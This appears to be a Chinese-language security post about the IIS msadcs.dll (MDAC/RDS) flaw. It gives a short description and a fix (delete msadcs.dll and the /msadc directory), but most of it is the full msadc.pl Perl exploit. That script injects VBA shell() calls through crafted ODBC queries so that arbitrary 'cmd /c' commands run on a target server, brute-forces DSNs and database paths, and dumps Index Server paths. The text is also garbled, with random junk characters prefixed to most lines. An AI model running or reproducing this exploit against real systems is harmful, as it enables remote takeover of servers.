IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$or8z2d1 #TG.weTC 涉及程序：
\Qe`>nA Microsoft NT server
l=ZX9<3 JReJlDu 描述：
} !RBH(m% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8H2A<&3i a3E.rr ;b 详细：
MDOP2y`2i 如果你没有时间读详细内容的话，就删除:
+>o}
R?xj c:\Program Files\Common Files\System\Msadc\msadcs.dll
2)+ddel<Z 有关的安全问题就没有了。
A$XmO}+ 0z=^_Fb 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
'645Fr[lg WR fhxl 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3^p;'7x 关于利用ODBC远程漏洞的描述，请参看:
Vi\kB% ./E<v http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u75(\<{ >iFi~)i_4y 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
GF^ ?#Jh http://www.microsoft.com/security/bulletins/MS99-025faq.asp >`D$Jz, 5TVA1 这里不再论述。
jmh$6 N%
F J nf@u 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8z'_dfP=5 ttA0*
>' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
J={IGA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
l *>, :y }Jk=ZBVjT7 {N 0i
3e
s #将下面这段保存为txt文件，然后: "perl -x 文件名"
>r5s>A[YC B/ACU #!perl
QAKA3{-( #
Xmaj7*f>p # MSADC/RDS 'usage' (aka exploit) script
;\)N7SJ #
) E (9
R( # by rain.forest.puppy
WeRX ~ #
#tQ__ V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
`{W>Dy # beta test and find errors!
R}Z2rbt | ;(0] use Socket; use Getopt::Std;
Q[.HoqWK getopts("e:vd:h:XR", \%args);
?cD2EX%( r@]iy78
j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.3< sv ?D`h[ai if (!defined $args{h} && !defined $args{R}) {
kESnlmy@J print qq~
cr<ty"3\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
/;a b"b -h <host> = host you want to scan (ip or domain)
AWn$od`#s
-d <seconds> = delay between calls, default 1 second
4]%v%6 4U -X = dump Index Server path table, if available
},(Ln%M -v = verbose
-mAi7[omh -e = external dictionary file for step 5
N2Q%/}+, $g!~T!p= Or a -R will resume a command session
oB ZzMTPe y9)Rl)7-: ~; exit;}
':LV"c4 t W<s5rM x $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
<c$K3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q=Y1kcTOn if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-/ h'uG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!Xf7RT $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,T\) % q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5t-dvYgU c 6Z\ecH9 if (!defined $args{R}){ $ret = &has_msadc;
m(?ZNtBQt die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{|ChwM\x OVgx2_F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4J6,_8`U . "cmd /c ";
%$H ~ $in=<STDIN>; chomp $in;
~AbTbQ3 $command="cmd /c " . $in ;
O[/l';i > lIQM3 if (defined $args{R}) {&load; exit;}
y( uE > ,s.!vpK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;^Hg\a &try_btcustmr;
b Q6<R4 dy Mj=e print "\nStep 2: Trying to make our own DSN...";
WyD L ah^/ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Dhy@!EOS v gvJ6$# print "\nStep 3: Trying known DSNs...";
K\a=bA}DG &known_dsn;
8KhE`C9z ^J{tOxO=l print "\nStep 4: Trying known .mdbs...";
1pT-PO 3= &known_mdb;
Zb obi, ppu WcGo if (defined $args{e}){
:*MqYny& print "\nStep 5: Trying dictionary of DSN names...";
FqpUw<]6s &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^wm>\o;
& ]mZp& print "Sorry Charley...maybe next time?\n";
:^oF0,-qZ exit;
KoL3CA"N p{BBqKv ##############################################################################
Fq T2+VO~ b9gezXAcd sub sendraw { # ripped and modded from whisker
g(D r/D sleep($delay); # it's a DoS on the server! At least on mine...
^~Dmb2 h my ($pstr)=@_;
vsL)E:0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E |BE(F;K die("Socket problems\n");
lyYi2& % if(connect(S,pack "SnA4x8",2,80,$target)){
}E%#g# select(S); $|=1;
"U DV4<|^k print $pstr; my @in=<S>;
b ?-VZA: select(STDOUT); close(S);
Q4vl return @in;
f R?Xq@c } else { die("Can't connect...\n"); }}
N
2\lBi bO2s'!x ##############################################################################
ohPCYt ]~H\X":[> sub make_header { # make the HTTP request
D3BT>zTGK my $msadc=<<EOT
d5O_~x f& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
rbw5 .NU User-Agent: ACTIVEDATA
JL1z8Nu Host: $ip
~ p0M| Content-Length: $clen
sa26u`? Connection: Keep-Alive
4Y#F"+m.] q ;<=MO/ ADCClientVersion:01.06
m5/d=k0l Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
cB ,l= /? vm
y?8E6+ --!ADM!ROX!YOUR!WORLD!
2GR dfX Content-Type: application/x-varg
qB0F9[U Content-Length: $reqlen
l,n
V*Z bXw!fYm& EOT
fi.[a8w:W ; $msadc=~s/\n/\r\n/g;
QSxR@ hC return $msadc;}
/\0 rRT WK<:(vu. ##############################################################################
2[8C?7_K0? }KZt7) sub make_req { # make the RDS request
Gec ? my ($switch, $p1, $p2)=@_;
^[]@d k9 my $req=""; my $t1, $t2, $query, $dsn;
c4'k-\JvT f1_b``M if ($switch==1){ # this is the btcustmr.mdb query
jLZ^EM- $query="Select * from Customers where City=" . make_shell();
c{X:0man $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
lPywr TG0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
" A}S92 X5hamkM*m elsif ($switch==2){ # this is general make table query
SZhW)0 $query="create table AZZ (B int, C varchar(10))";
#2~-I $dsn="$p1";}
)*wM
DM5q E1& 9( L5 elsif ($switch==3){ # this is general exploit table query
+%%Ef] $query="select * from AZZ where C=" . make_shell();
}+{ ?
Ms $dsn="$p1";}
1K`7 C =6.~&( elsif ($switch==4){ # attempt to hork file info from index server
bkvm-$/ $query="select path from scope()";
^ -&BGQM $dsn="Provider=MSIDXS;";}
(&) PlIi7 8w Xnc% elsif ($switch==5){ # bad query
CC8)yO $query="select";
g]V_)} $dsn="$p1";}
LW$(;-rY T|o ]8z $t1= make_unicode($query);
>-0\w P $t2= make_unicode($dsn);
`pfZJ+ $req = "\x02\x00\x03\x00";
k+D"LA%J $req.= "\x08\x00" . pack ("S1", length($t1));
?b8 : $req.= "\x00\x00" . $t1 ;
KT>eE $req.= "\x08\x00" . pack ("S1", length($t2));
oN\IQ7oI $req.= "\x00\x00" . $t2 ;
"^UJC- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Duu)8ru return $req;}
eq!>~: # ;;zQV D )X ##############################################################################
5S
EyAhB m);0 sb sub make_shell { # this makes the shell() statement
, Y\`n7Ww return "'|shell(\"$command\")|'";}
+' lj\_n fQkfU;5 ##############################################################################
1_of;=9V ;tZ;C(;< sub make_unicode { # quick little function to convert to unicode
k"z ~> my ($in)=@_; my $out;
I +4#LR3; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=G9 9U/ return $out;}
<U]!1 fVXZfq6 ##############################################################################
y$R r,]L VPh0{(O^= sub rdo_success { # checks for RDO return success (this is kludge)
;Eer my (@in) = @_; my $base=content_start(@in);
j^V r!y if($in[$base]=~/multipart\/mixed/){
@X?7a]+;8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x/B1\U
I return 0;}
UK7pQt}9 :"~SKJm ##############################################################################
S /kM # 4*D'zJsJ sub make_dsn { # this makes a DSN for us
$ \w<.)"# my @drives=("c","d","e","f");
<Pm!#)-g9 print "\nMaking DSN: ";
b:M1P&R foreach $drive (@drives) {
/Z ?$!u4I print "$drive: ";
Bo#,)%80 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zJ=lNb?q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1z6$>{FUR . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
wOLDHg_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VbG#)>"F return 0 if $2 eq "404"; # not found/doesn't exist
i eL7jN,'m if($2 eq "200") {
]VCVV!G_=n foreach $line (@results) {
T@ 4R|P&{) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_&wrA3@ /L } return 0;}
Z"pCDW) Q:5^K ##############################################################################
"K9/^S_ bih%hqny sub verify_exists {
+QZ}c@'r my ($page)=@_;
H:k?#7D( my @results=sendraw("GET $page HTTP/1.0\n\n");
nr{#Krkb return $results[0];}
@CTSvTt$ 0ap_tCY ##############################################################################
].Sz2vI Z0'&@P$ sub try_btcustmr {
lA/.4"nN my @drives=("c","d","e","f");
@,:6wK Mc my @dirs=("winnt","winnt35","winnt351","win","windows");
\`:nmFO(9 AbExJ~JV\g foreach $dir (@dirs) {
@fc-[pv print "$dir -> "; # fun status so you can see progress
\}n\cUy- foreach $drive (@drives) {
h]>QGX[kC print "$drive: "; # ditto
P2!+ZJ& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
28!
ke $reqlenlen=length( "$reqlen" );
L7`=ec< $clen= 206 + $reqlenlen + $reqlen;
=]
+owl2 N8E my @results=sendraw(make_header() . make_req(1,$drive,$dir));
E^`-:L(_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]wZlJK`K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
( 6crWw{3 [ KMNMg ##############################################################################
w:VD[\h +L,V_z sub odbc_error {
3cA '9 my (@in)=@_; my $base;
* @=ZzL my $base = content_start(@in);
$VxKv7: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
GiK4LJ~cH) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E~y( @72) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hjgB[
&U> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K0usBA return $in[$base+4].$in[$base+5].$in[$base+6];}
)
w1`<7L print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
L+X:M/) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Tpd|+60g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
YctWSfh >\o._?xSA ##############################################################################
FX1H2N( FPE%h =sw sub verbose {
"}x %5/( my ($in)=@_;
2;w`W58
return if !$verbose;
`x]`<kS; print STDOUT "\n$in\n";}
7C9_;81_Dt L"tzUYxg ##############################################################################
/& W& KK}ox%j sub save {
|JLX gwML my ($p1, $p2, $p3, $p4)=@_;
oMNSQMlI open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N XCvS0/h print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
='t}d>l close OUT;}
%X BMi ~ vB%os Qm ##############################################################################
+,1 Ea ) n'@*RvI: sub load {
eBWgAf. k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4q"4 N2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~Z~V:~ @p=<IN>; close(IN);
o1?S * $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:2.<JUDM $target= inet_aton($ip) || die("inet_aton problems");
0T7t. print "Resuming to $ip ...";
Rc vp@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)*XD"-9 if($p[1]==1) {
v&qL r+_7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I G Ax+3V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}a% 1$>sj my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
GO)5R, if (rdo_success(@results)){print "Success!\n";}
?2%;VKN4 else { print "failed\n"; verbose(odbc_error(@results));}}
U,K=(I7OBX elsif ($p[1]==3){
wJZuJ( if(run_query("$p[3]")){
O.DO,]Uh print "Success!\n";} else { print "failed\n"; }}
3yrb7Rn 3 elsif ($p[1]==4){
iax0V if(run_query($drvst . "$p[3]")){
bd\%K`JQ{ print "Success!\n"; } else { print "failed\n"; }}
*M ^ <oG exit;}
yv|`A2@9 cLf<YF ##############################################################################
`W:z#uNG] ~1&WR `U sub create_table {
Ms#rvn!J my ($in)=@_;
p ,.6sk $reqlen=length( make_req(2,$in,"") ) - 28;
aJ QzM $reqlenlen=length( "$reqlen" );
fC".K
Yjp $clen= 206 + $reqlenlen + $reqlen;
@T Ha [|(S my @results=sendraw(make_header() . make_req(2,$in,""));
LS$zA>: return 1 if rdo_success(@results);
wF9L<<&B my $temp= odbc_error(@results); verbose($temp);
O 6ph_$nt. return 1 if $temp=~/Table 'AZZ' already exists/;
nTl2F1(sV7 return 0;}
e%lx RN"b ;0U*N &
f ##############################################################################
HbRvU}C1 iB|htH'T sub known_dsn {
nV`U{}x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Ci4; e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
U&ytZ7iB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#jh5% @ "banner", "banners", "ads", "ADCDemo", "ADCTest");
THlQifA! {;N2 &S o foreach $dSn (@dsns) {
u M\5GK print ".";
.DI?-=p|_# next if (!is_access("DSN=$dSn"));
osl\j]U8 if(create_table("DSN=$dSn")){
U:z5`z! print "$dSn successful\n";
&f}w&k2yj if(run_query("DSN=$dSn")){
F{4v[WP) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$A`m8?bY print "Something's borked. Use verbose next time\n";}}} print "\n";}
\Si p ?q b35 ##############################################################################
inFS99DKx l/,la]!T sub is_access {
qW`?,N)r my ($in)=@_;
@C<ofg3E $reqlen=length( make_req(5,$in,"") ) - 28;
&) jq3 $reqlenlen=length( "$reqlen" );
_RIlGs\. $clen= 206 + $reqlenlen + $reqlen;
bZ_TW9mq my @results=sendraw(make_header() . make_req(5,$in,""));
pztfm' my $temp= odbc_error(@results);
mITNx^p4f verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;: &|DN3; return 0;}
=P%&]5ts ;{aGEOP'U ##############################################################################
19U& 4Jk Ta[\B WR2 sub run_query {
Ia< V\$ # my ($in)=@_;
)t KS ooW $reqlen=length( make_req(3,$in,"") ) - 28;
R+U$;r8l $reqlenlen=length( "$reqlen" );
e=l:!E10 $clen= 206 + $reqlenlen + $reqlen;
M!kSt1 my @results=sendraw(make_header() . make_req(3,$in,""));
'zb vg0 T return 1 if rdo_success(@results);
E#\Oe_eq~N my $temp= odbc_error(@results); verbose($temp);
sQJGwZ 7 return 0;}
:G6aO r^a:s] ##############################################################################
fZj,Q#}D S43JaSw) sub known_mdb {
*:Rs\QH
my @drives=("c","d","e","f","g");
m^0v ux my @dirs=("winnt","winnt35","winnt351","win","windows");
F(#?-MCs my $dir, $drive, $mdb;
$btu=_ |f my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cS'{h zP x R=0| # this is sparse, because I don't know of many
W7Y@]QMX my @sysmdbs=( "\\catroot\\icatalog.mdb",
ggL/7 I( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/y$ Fw9R; "\\system32\\certmdb.mdb",
k qL.ZR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7f}uRXBV$A 8]Tv1Wc my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
,~=] 3qmbR "\\cfusion\\cfapps\\forums\\forums_.mdb",
- om9 Z0e "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
.>eR X% "\\cfusion\\cfapps\\security\\realm_.mdb",
NhCucSU<K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
P1Z"}Qw "\\cfusion\\database\\cfexamples.mdb",
E* u *LMm "\\cfusion\\database\\cfsnippets.mdb",
k#zDY*kj "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9(J,&)J "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
n| {#5# "\\cfusion\\brighttiger\\database\\cleam.mdb",
SDC'S]{ew "\\cfusion\\database\\smpolicy.mdb",
[{Jo(X "\\cfusion\\database\cypress.mdb",
:-5[0Mx= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
W;yc)JB "\\website\\cgi-win\\dbsample.mdb",
\yu7,v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1C8xJ 6F "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
n."n?C '{ ); #these are just
v\5O\ I ^ foreach $drive (@drives) {
3i7EF. foreach $dir (@dirs){
w;gk=<_ foreach $mdb (@sysmdbs) {
tc0;Ake-& print ".";
q~b# ml2QS if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
":8\2Qp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2
4+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^8;MY5Wbs print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#|ts1lD#ah } else { print "Something's borked. Use verbose next time\n"; }}}}}
",.f
D>[Sib/@ foreach $drive (@drives) {
"qNFDr(WM foreach $mdb (@mdbs) {
K<wF r-z
print ".";
|~e"i<G# if(create_table($drv . $drive . $dir . $mdb)){
4hy -M>!D| print "\n" . $drive . $dir . $mdb . " successful\n";
;_vhKU)%J# if(run_query($drv . $drive . $dir . $mdb)){
9 e=}P L print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
L ?j0t*do } else { print "Something's borked. Use verbose next time\n"; }}}}
j(Lz& *4 }
t\hnnu`Pq Yu\ $Y0 {] ##############################################################################
N?ccG \t R\5,H!V9n sub hork_idx {
&F
uPd}F print "\nAttempting to dump Index Server tables...\n";
Ai1"UYk\\Y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
J<;io! $reqlen=length( make_req(4,"","") ) - 28;
} Xo #/9 $reqlenlen=length( "$reqlen" );
["<Xh0_ $clen= 206 + $reqlenlen + $reqlen;
{#qUZ z- my @results=sendraw2(make_header() . make_req(4,"",""));
zPa2fS8 if (rdo_success(@results)){
~c35Y9-5 my $max=@results; my $c; my %d;
JI[8 n$pr] for($c=19; $c<$max; $c++){
-0d9 ,,c $results[$c]=~s/\x00//g;
eO <N/?t $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
S(Af o` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|E7 J5ha $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
qC> tni% $d{"$1$2"}="";}
ZK8)FmT_<O foreach $c (keys %d){ print "$c\n"; }
]JjS$VMauX } else {print "Index server doesn't seem to be installed.\n"; }}
X|T|iB,vT !xfDW bvHV ##############################################################################
#\w N2`" W .Qx5,)@9 sub dsn_dict {
M5ZH6X@5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
U
L
$! while(<IN>){
Q3 8+`EhLA $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ng3ZK next if (!is_access("DSN=$dSn"));
/=S@3?cQAB if(create_table("DSN=$dSn")){
~^1y(-cw print "$dSn successful\n";
SYY x>1;8` if(run_query("DSN=$dSn")){
#QoWneZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Eo6N'h >h print "Something's borked. Use verbose next time\n";}}}
=G:Krc8w@ print "\n"; close(IN);}
`/PBZnj ;[}OZt ##############################################################################
f%,S::%Ea D <6$@ZJ sub sendraw2 { # ripped and modded from whisker
reN\| ?0{ sleep($delay); # it's a DoS on the server! At least on mine...
Xe %J{ my ($pstr)=@_;
(Lge a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
v:P]o9Oj8 die("Socket problems\n");
E2'Wzrovlo if(connect(S,pack "SnA4x8",2,80,$target)){
m"n74 cxS print "Connected. Getting data";
/P*XB%y open(OUT,">raw.out"); my @in;
t2o{=!$WH select(S); $|=1; print $pstr;
Oj c Tu while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+ +}!Gfc?s close(OUT); select(STDOUT); close(S); return @in;
9fEe={ B+ } else { die("Can't connect...\n"); }}
Wlhh0uy u2oS Ci ##############################################################################
zWC| Qe L;RE5YrH%6 sub content_start { # this will take in the server headers
lg aSIXDK my (@in)=@_; my $c;
>[;W ~* for ($c=1;$c<500;$c++) {
$pES>>P if($in[$c] =~/^\x0d\x0a/){
Mp`$1Ksn if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
{$z54nvw$ else { return $c+1; }}}
1%+-}yo< return -1;} # it should never get here actually
qS vV |G 4=^_VDlpd ##############################################################################
~S/oW89 bFG~08Z ,d sub funky {
XPX?+W=mv my (@in)=@_; my $error=odbc_error(@in);
3 J#LxYK if($error=~/ADO could not find the specified provider/){
h ik.qK print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?XHQdN3e exit;}
e]R zvWq if($error=~/A Handler is required/){
a<<4gXx print "\nServer has custom handler filters (they most likely are patched)\n";
]@#9B>v= exit;}
|fgUW. if($error=~/specified Handler has denied Access/){
\_`qon$9 print "\nServer has custom handler filters (they most likely are patched)\n";
>9{?&#]x exit;}}
SY +0~5E f kZHy|m ##############################################################################
g{Hgs /TpTR-\I0 sub has_msadc {
*D?_,s my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"U}kp#) my $base=content_start(@results);
l
r&7 qu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
qPQIcJ return 0;}
lp
*GJP]T wb$uq/| ########################
.g8*K " u"HGT=Nl b(0<,r8 解决方案：
. $&^yp 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-!PJHCLd 2、移除web 目录: /msadc
